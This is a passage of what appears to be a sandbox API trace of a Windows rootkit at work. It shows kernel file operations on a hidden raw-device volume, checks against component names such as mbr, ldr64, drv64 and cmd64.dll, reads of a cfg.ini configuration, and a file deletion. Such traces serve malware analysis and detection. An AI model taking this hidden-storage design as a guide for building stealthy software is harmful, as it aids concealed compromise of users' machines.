Event=0xfffff880028b22c0) [0123.533] IdePortDispatch () returned 0x103 [0123.533] KeWaitForMutexObject () returned 0x0 [0123.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.534] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.534] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.534] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.534] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.534] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bea130 [0123.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] KeLeaveCriticalRegion () [0123.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.534] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.534] KeEnterCriticalRegion () [0123.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] KeLeaveCriticalRegion () [0123.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.534] KeEnterCriticalRegion () [0123.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.534] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.534] IdePortDispatch () returned 0x103 [0123.534] KeWaitForMutexObject () returned 0x0 [0123.534] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] KeLeaveCriticalRegion () [0123.534] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.534] KeEnterCriticalRegion () [0123.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.534] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ca000 [0123.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.534] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.534] IdePortDispatch () returned 0x103 [0123.535] KeWaitForMutexObject () returned 0x0 [0123.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.535] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.535] IdePortDispatch () returned 0x103 [0123.535] KeWaitForMutexObject () returned 0x0 [0123.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.535] KeLeaveCriticalRegion () [0123.535] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.535] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.535] KeEnterCriticalRegion () [0123.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.535] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.535] KeLeaveCriticalRegion () [0123.536] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.536] KeEnterCriticalRegion () [0123.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.536] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.536] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.536] KeLeaveCriticalRegion () [0123.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.536] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.536] KeEnterCriticalRegion () [0123.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.536] ExFreePoolWithTag (P=0xfffffa8003bea130, Tag=0x0) [0123.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.536] KeLeaveCriticalRegion () [0123.536] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.536] ReleaseMutex (hMutex=0xf0) returned 1 [0123.536] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.536] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.536] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.536] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.536] KeEnterCriticalRegion () [0123.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.536] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.536] IdePortDispatch () returned 0x103 [0123.536] KeWaitForMutexObject () returned 0x0 [0123.536] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.536] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.536] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.537] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.537] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.537] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.537] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.537] KeLeaveCriticalRegion () [0123.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.537] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.537] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.537] KeEnterCriticalRegion () [0123.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.537] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.537] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.537] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.537] IdePortDispatch () returned 0x103 [0123.537] KeWaitForMutexObject () returned 0x0 [0123.537] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.537] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.537] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.537] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.537] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.537] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.537] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.537] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.537] KeLeaveCriticalRegion () [0123.537] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.538] ReleaseMutex (hMutex=0x100) returned 1 [0123.538] Sleep (dwMilliseconds=0x2bf20) [0123.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cd44070, dwHighDateTime=0x1d24fa4)) [0123.544] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.544] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.544] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.544] KeEnterCriticalRegion () [0123.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.544] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.544] IdePortDispatch () returned 0x103 [0123.545] KeWaitForMutexObject () returned 0x0 [0123.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becfb0 [0123.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.545] KeLeaveCriticalRegion () [0123.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.545] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.545] KeEnterCriticalRegion () [0123.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.545] KeLeaveCriticalRegion () [0123.545] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.545] KeEnterCriticalRegion () [0123.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.545] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.546] IdePortDispatch () returned 0x103 [0123.546] KeWaitForMutexObject () returned 0x0 [0123.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.546] KeLeaveCriticalRegion () [0123.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.546] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.546] KeEnterCriticalRegion () [0123.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cd000 [0123.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.546] IdePortDispatch () returned 0x103 [0123.546] KeWaitForMutexObject () returned 0x0 [0123.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.546] IdePortDispatch () returned 0x103 [0123.546] KeWaitForMutexObject () returned 0x0 [0123.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] KeLeaveCriticalRegion () [0123.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.547] KeEnterCriticalRegion () [0123.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] KeLeaveCriticalRegion () [0123.547] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.547] KeEnterCriticalRegion () [0123.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] KeLeaveCriticalRegion () [0123.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.547] KeEnterCriticalRegion () [0123.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] ExFreePoolWithTag (P=0xfffffa8003becfb0, Tag=0x0) [0123.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.547] KeLeaveCriticalRegion () [0123.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.547] ReleaseMutex (hMutex=0xf0) returned 1 [0123.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.548] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.548] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.548] KeEnterCriticalRegion () [0123.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.548] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.548] IdePortDispatch () returned 0x103 [0123.548] KeWaitForMutexObject () returned 0x0 [0123.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.548] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.548] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.548] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.548] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.548] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beca70 [0123.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.548] KeLeaveCriticalRegion () [0123.548] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.548] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.548] KeEnterCriticalRegion () [0123.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.548] KeLeaveCriticalRegion () [0123.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.548] KeEnterCriticalRegion () [0123.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.548] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.548] IdePortDispatch () returned 0x103 [0123.548] KeWaitForMutexObject () returned 0x0 [0123.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.549] KeLeaveCriticalRegion () [0123.549] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.549] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.549] KeEnterCriticalRegion () [0123.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.549] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ce000 [0123.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.549] IdePortDispatch () returned 0x103 [0123.549] KeWaitForMutexObject () returned 0x0 [0123.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.549] IdePortDispatch () returned 0x103 [0123.549] KeWaitForMutexObject () returned 0x0 [0123.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.549] KeLeaveCriticalRegion () [0123.549] IofCompleteRequest 